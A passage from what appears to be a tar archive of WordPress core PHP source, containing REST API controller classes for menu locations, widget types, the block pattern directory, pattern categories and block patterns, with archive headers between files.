), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a specific menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $registered_menus = get_registered_nav_menus(); if ( ! array_key_exists( $request['location'], $registered_menus ) ) { return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) ); } $location = new stdClass(); $location->name = $request['location']; $location->description = $registered_menus[ $location->name ]; $data = $this->prepare_item_for_response( $location, $request ); return rest_ensure_response( $data ); } /** * Prepares a menu location object for serialization. * * @since 5.9.0 * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Menu location data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $location = $item; $locations = get_nav_menu_locations(); $menu = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'name', $fields ) ) { $data['name'] = $location->name; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $location->description; } if ( rest_is_field_included( 'menu', $fields ) ) { $data['menu'] = (int) $menu; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $location ) ); /** * Filters menu location data returned from the REST API. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $location The original location object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_menu_location', $response, $location, $request ); } /** * Retrieves the menu location's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'menu-location', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'The description of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'menu' => array( 'description' => __( 'The ID of the assigned menu.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param stdClass $location Menu location. * @return array Links for the given menu location. */ protected function prepare_links( $location ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); // Entity meta. $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $location->name ), ), 'collection' => array( 'href' => rest_url( $base ), ), ); $locations = get_nav_menu_locations(); $menu = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0; if ( $menu ) { $path = rest_get_route_for_term( $menu ); if ( $path ) { $url = rest_url( $path ); $links['https://api.w.org/menu'][] = array( 'href' => $url, 'embeddable' => true, ); } } return $links; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-widget-types-controller.php����������������������������������������0000644�����������������00000044304�14717703502�0020327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Widget_Types_Controller class * * @package WordPress * @subpackage REST_API * @since 5.8.0 */ /** * Core class to access widget types via the REST API. * * @since 5.8.0 * * @see WP_REST_Controller */ class WP_REST_Widget_Types_Controller extends WP_REST_Controller { /** * Constructor. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'widget-types'; } /** * Registers the widget type routes. * * @since 5.8.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/encode', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), 'form_data' => array( 'description' => __( 'Serialized widget form data to encode into instance settings.' ), 'type' => 'string', 'sanitize_callback' => static function( $string ) { $array = array(); wp_parse_str( $string, $array ); return $array; }, ), ), array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'encode_form_data' ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/render', array( array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'render' ), 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), ), ), ) ); } /** * Checks whether a given request has permission to read widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves the list of all widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); foreach ( $this->get_widgets() as $widget ) { $widget_type = $this->prepare_item_for_response( $widget, $request ); $data[] = $this->prepare_response_for_collection( $widget_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a widget type. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } return true; } /** * Checks whether the user can read widget types. * * @since 5.8.0 * * @return true|WP_Error True if the widget type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Gets the details about the requested widget. * * @since 5.8.0 * * @param string $id The widget type id. * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise. */ public function get_widget( $id ) { foreach ( $this->get_widgets() as $widget ) { if ( $id === $widget['id'] ) { return $widget; } } return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) ); } /** * Normalize array of widgets. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The list of registered widgets. * * @return array Array of widgets. */ protected function get_widgets() { global $wp_widget_factory, $wp_registered_widgets; $widgets = array(); foreach ( $wp_registered_widgets as $widget ) { $parsed_id = wp_parse_widget_id( $widget['id'] ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); $widget['id'] = $parsed_id['id_base']; $widget['is_multi'] = (bool) $widget_object; if ( isset( $widget['name'] ) ) { $widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } if ( isset( $widget['description'] ) ) { $widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } unset( $widget['callback'] ); $classname = ''; foreach ( (array) $widget['classname'] as $cn ) { if ( is_string( $cn ) ) { $classname .= '_' . $cn; } elseif ( is_object( $cn ) ) { $classname .= '_' . get_class( $cn ); } } $widget['classname'] = ltrim( $classname, '_' ); $widgets[ $widget['id'] ] = $widget; } ksort( $widgets ); return $widgets; } /** * Retrieves a single widget type from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } $data = $this->prepare_item_for_response( $widget_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a widget type object for serialization. * * @since 5.8.0 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item Widget type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Widget type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $widget_type = $item; $fields = $this->get_fields_for_response( $request ); $data = array( 'id' => $widget_type['id'], ); $schema = $this->get_item_schema(); $extra_fields = array( 'name', 'description', 'is_multi', 'classname', 'widget_class', 'option_name', 'customize_selective_refresh', ); foreach ( $extra_fields as $extra_field ) { if ( ! rest_is_field_included( $extra_field, $fields ) ) { continue; } if ( isset( $widget_type[ $extra_field ] ) ) { $field = $widget_type[ $extra_field ]; } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $widget_type ) ); /** * Filters the REST API response for a widget type. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $widget_type The array of widget data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request ); } /** * Prepares links for the widget type. * * @since 5.8.0 * * @param array $widget_type Widget type data. * @return array Links for the given widget type. */ protected function prepare_links( $widget_type ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ), ), ); } /** * Retrieves the widget type's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget-type', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique slug identifying the widget type.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Human-readable name identifying the widget type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the widget.' ), 'type' => 'string', 'default' => '', 'context' => array( 'view', 'edit', 'embed' ), ), 'is_multi' => array( 'description' => __( 'Whether the widget supports multiple instances' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'classname' => array( 'description' => __( 'Class name' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * An RPC-style endpoint which can be used by clients to turn user input in * a widget admin form into an encoded instance object. * * Accepts: * * - id: A widget type ID. * - instance: A widget's encoded instance object. Optional. * - form_data: Form data from submitting a widget's admin form. Optional. * * Returns: * - instance: The encoded instance object after updating the widget with * the given form data. * - form: The widget's admin form after updating the widget with the * given form data. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function encode_form_data( $request ) { global $wp_widget_factory; $id = $request['id']; $widget_object = $wp_widget_factory->get_widget_object( $id ); if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot preview a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } // Set the widget's number so that the id attributes in the HTML that we // return are predictable. if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) { $widget_object->_set( (int) $request['number'] ); } else { $widget_object->_set( -1 ); } if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } if ( isset( $request['form_data'][ "widget-$id" ] ) && is_array( $request['form_data'][ "widget-$id" ] ) ) { $new_instance = array_values( $request['form_data'][ "widget-$id" ] )[0]; $old_instance = $instance; $instance = $widget_object->update( $new_instance, $old_instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $widget_object ); } $serialized_instance = serialize( $instance ); $widget_key = $wp_widget_factory->get_widget_key( $id ); $response = array( 'form' => trim( $this->get_widget_form( $widget_object, $instance ) ), 'preview' => trim( $this->get_widget_preview( $widget_key, $instance ) ), 'instance' => array( 'encoded' => base64_encode( $serialized_instance ), 'hash' => wp_hash( $serialized_instance ), ), ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $response['instance']['raw'] = empty( $instance ) ? new stdClass : $instance; } return rest_ensure_response( $response ); } /** * Returns the output of WP_Widget::widget() when called with the provided * instance. Used by encode_form_data() to preview a widget. * @since 5.8.0 * * @param string $widget The widget's PHP class name (see class-wp-widget.php). * @param array $instance Widget instance settings. * @return string */ private function get_widget_preview( $widget, $instance ) { ob_start(); the_widget( $widget, $instance ); return ob_get_clean(); } /** * Returns the output of WP_Widget::form() when called with the provided * instance. Used by encode_form_data() to preview a widget's form. * * @since 5.8.0 * * @param WP_Widget $widget_object Widget object to call widget() on. * @param array $instance Widget instance settings. * @return string */ private function get_widget_form( $widget_object, $instance ) { ob_start(); /** This filter is documented in wp-includes/class-wp-widget.php */ $instance = apply_filters( 'widget_form_callback', $instance, $widget_object ); if ( false !== $instance ) { $return = $widget_object->form( $instance ); /** This filter is documented in wp-includes/class-wp-widget.php */ do_action_ref_array( 'in_widget_form', array( &$widget_object, &$return, $instance ) ); } return ob_get_clean(); } /** * Renders a single Legacy Widget and wraps it in a JSON-encodable array. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * * @return array An array with rendered Legacy Widget HTML. */ public function render( $request ) { return array( 'preview' => $this->render_legacy_widget_preview_iframe( $request['id'], isset( $request['instance'] ) ? $request['instance'] : null ), ); } /** * Renders a page containing a preview of the requested Legacy Widget block. * * @since 5.9.0 * * @param string $id_base The id base of the requested widget. * @param array $instance The widget instance attributes. * * @return string Rendered Legacy Widget block preview. */ private function render_legacy_widget_preview_iframe( $id_base, $instance ) { if ( ! defined( 'IFRAME_REQUEST' ) ) { define( 'IFRAME_REQUEST', true ); } ob_start(); ?> <!doctype html> <html <?php language_attributes(); ?>> <head> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="profile" href="https://gmpg.org/xfn/11" /> <?php wp_head(); ?> <style> /* Reset theme styles */ html, body, #page, #content { padding: 0 !important; margin: 0 !important; } </style> </head> <body <?php body_class(); ?>> <div id="page" class="site"> <div id="content" class="site-content"> <?php $registry = WP_Block_Type_Registry::get_instance(); $block = $registry->get_registered( 'core/legacy-widget' ); echo $block->render( array( 'idBase' => $id_base, 'instance' => $instance, ) ); ?> </div><!-- #content --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html> <?php return ob_get_clean(); } /** * Retrieves the query params for collections. * * @since 5.8.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-pattern-directory-controller.php�����������������������������������0000644�����������������00000026670�14717703502�0021367 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Block Pattern Directory REST API: WP_REST_Pattern_Directory_Controller class * * @package WordPress * @subpackage REST_API * @since 5.8.0 */ /** * Controller which provides REST endpoint for block patterns. * * This simply proxies the endpoint at http://api.wordpress.org/patterns/1.0/. That isn't necessary for * functionality, but is desired for privacy. It prevents api.wordpress.org from knowing the user's IP address. * * @since 5.8.0 * * @see WP_REST_Controller */ class WP_REST_Pattern_Directory_Controller extends WP_REST_Controller { /** * Constructs the controller. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'pattern-directory'; } /** * Registers the necessary REST API routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/patterns', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to view the local block pattern directory. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_pattern_directory_cannot_view', __( 'Sorry, you are not allowed to browse the local block pattern directory.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Search and retrieve block patterns metadata * * @since 5.8.0 * @since 6.0.0 Added 'slug' to request. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { /* * Include an unmodified `$wp_version`, so the API can craft a response that's tailored to * it. Some plugins modify the version in a misguided attempt to improve security by * obscuring the version, which can cause invalid requests. */ require ABSPATH . WPINC . '/version.php'; $query_args = array( 'locale' => get_user_locale(), 'wp-version' => $wp_version, ); $category_id = $request['category']; $keyword_id = $request['keyword']; $search_term = $request['search']; $slug = $request['slug']; if ( $category_id ) { $query_args['pattern-categories'] = $category_id; } if ( $keyword_id ) { $query_args['pattern-keywords'] = $keyword_id; } if ( $search_term ) { $query_args['search'] = $search_term; } if ( $slug ) { $query_args['slug'] = $slug; } $transient_key = $this->get_transient_key( $query_args ); /* * Use network-wide transient to improve performance. The locale is the only site * configuration that affects the response, and it's included in the transient key. */ $raw_patterns = get_site_transient( $transient_key ); if ( ! $raw_patterns ) { $api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args ); if ( wp_http_supports( array( 'ssl' ) ) ) { $api_url = set_url_scheme( $api_url, 'https' ); } /* * Default to a short TTL, to mitigate cache stampedes on high-traffic sites. * This assumes that most errors will be short-lived, e.g., packet loss that causes the * first request to fail, but a follow-up one will succeed. The value should be high * enough to avoid stampedes, but low enough to not interfere with users manually * re-trying a failed request. */ $cache_ttl = 5; $wporg_response = wp_remote_get( $api_url ); $raw_patterns = json_decode( wp_remote_retrieve_body( $wporg_response ) ); if ( is_wp_error( $wporg_response ) ) { $raw_patterns = $wporg_response; } elseif ( ! is_array( $raw_patterns ) ) { // HTTP request succeeded, but response data is invalid. $raw_patterns = new WP_Error( 'pattern_api_failed', sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ), __( 'https://wordpress.org/support/forums/' ) ), array( 'response' => wp_remote_retrieve_body( $wporg_response ), ) ); } else { // Response has valid data. $cache_ttl = HOUR_IN_SECONDS; } set_site_transient( $transient_key, $raw_patterns, $cache_ttl ); } if ( is_wp_error( $raw_patterns ) ) { $raw_patterns->add_data( array( 'status' => 500 ) ); return $raw_patterns; } $response = array(); if ( $raw_patterns ) { foreach ( $raw_patterns as $pattern ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $pattern, $request ) ); } } return new WP_REST_Response( $response ); } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support. * * @param object $item Raw pattern from api.wordpress.org, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $raw_pattern = $item; $prepared_pattern = array( 'id' => absint( $raw_pattern->id ), 'title' => sanitize_text_field( $raw_pattern->title->rendered ), 'content' => wp_kses_post( $raw_pattern->pattern_content ), 'categories' => array_map( 'sanitize_title', $raw_pattern->category_slugs ), 'keywords' => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ), 'description' => sanitize_text_field( $raw_pattern->meta->wpop_description ), 'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ), ); $prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request ); $response = new WP_REST_Response( $prepared_pattern ); /** * Filters the REST API response for a block pattern. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param object $raw_pattern The unprepared block pattern. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request ); } /** * Retrieves the block pattern's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'pattern-directory-item', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The pattern ID.' ), 'type' => 'integer', 'minimum' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( "The pattern's category slugs." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( "The pattern's keywords." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'A description of the pattern.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search parameters for the block pattern's collection. * * @since 5.8.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Pagination is not supported. unset( $query_params['page'] ); unset( $query_params['per_page'] ); $query_params['search']['minLength'] = 1; $query_params['context']['default'] = 'view'; $query_params['category'] = array( 'description' => __( 'Limit results to those matching a category ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['keyword'] = array( 'description' => __( 'Limit results to those matching a keyword ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['slug'] = array( 'description' => __( 'Limit results to those matching a pattern (slug).' ), 'type' => 'array', ); /** * Filter collection parameters for the block pattern directory controller. * * @since 5.8.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_pattern_directory_collection_params', $query_params ); } /* * Include a hash of the query args, so that different requests are stored in * separate caches. * * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay * under the character limit for `_site_transient_timeout_{...}` keys. * * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses * * @since 6.0.0 * * @param array $query_args Query arguments to generate a transient key from. * @return string Transient key. */ protected function get_transient_key( $query_args ) { if ( isset( $query_args['slug'] ) ) { // This is an additional precaution because the "sort" function expects an array. $query_args['slug'] = wp_parse_list( $query_args['slug'] ); // Empty arrays should not affect the transient key. if ( empty( $query_args['slug'] ) ) { unset( $query_args['slug'] ); } else { // Sort the array so that the transient key doesn't depend on the order of slugs. sort( $query_args['slug'] ); } } return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) ); } } ������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php����������������������������0000644�����������������00000010222�14717703502�0022562 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Block_Pattern_Catergories_Controller class * * @package WordPress * @subpackage REST_API * @since 6.0.0 */ /** * Core class used to access block pattern categories via the REST API. * * @since 6.0.0 * * @see WP_REST_Controller */ class WP_REST_Block_Pattern_Categories_Controller extends WP_REST_Controller { /** * Constructs the controller. * * @since 6.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-patterns/categories'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block pattern categories.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block pattern categories. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $response = array(); $categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered(); foreach ( $categories as $category ) { $prepared_category = $this->prepare_item_for_response( $category, $request ); $response[] = $this->prepare_response_for_collection( $prepared_category ); } return rest_ensure_response( $response ); } /** * Prepare a raw block pattern category before it gets output in a REST API response. * * @since 6.0.0 * * @param array $item Raw category as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name', 'label' ); $data = array(); foreach ( $keys as $key ) { if ( rest_is_field_included( $key, $fields ) ) { $data[ $key ] = $item[ $key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern category schema, conforming to JSON Schema. * * @since 6.0.0 * * @return array Item schema data. */ public function get_item_schema() { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern-category', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The category name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The category label, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); return $this->add_additional_fields_schema( $schema ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-block-patterns-controller.php��������������������������������������0000644�����������������00000014644�14717703502�0020636 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Block_Patterns_Controller class * * @package WordPress * @subpackage REST_API * @since 6.0.0 */ /** * Core class used to access block patterns via the REST API. * * @since 6.0.0 * * @see WP_REST_Controller */ class WP_REST_Block_Patterns_Controller extends WP_REST_Controller { /** * Defines whether remote patterns should be loaded. * * @since 6.0.0 * @var bool */ private $remote_patterns_loaded; /** * Constructs the controller. * * @since 6.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-patterns/patterns'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 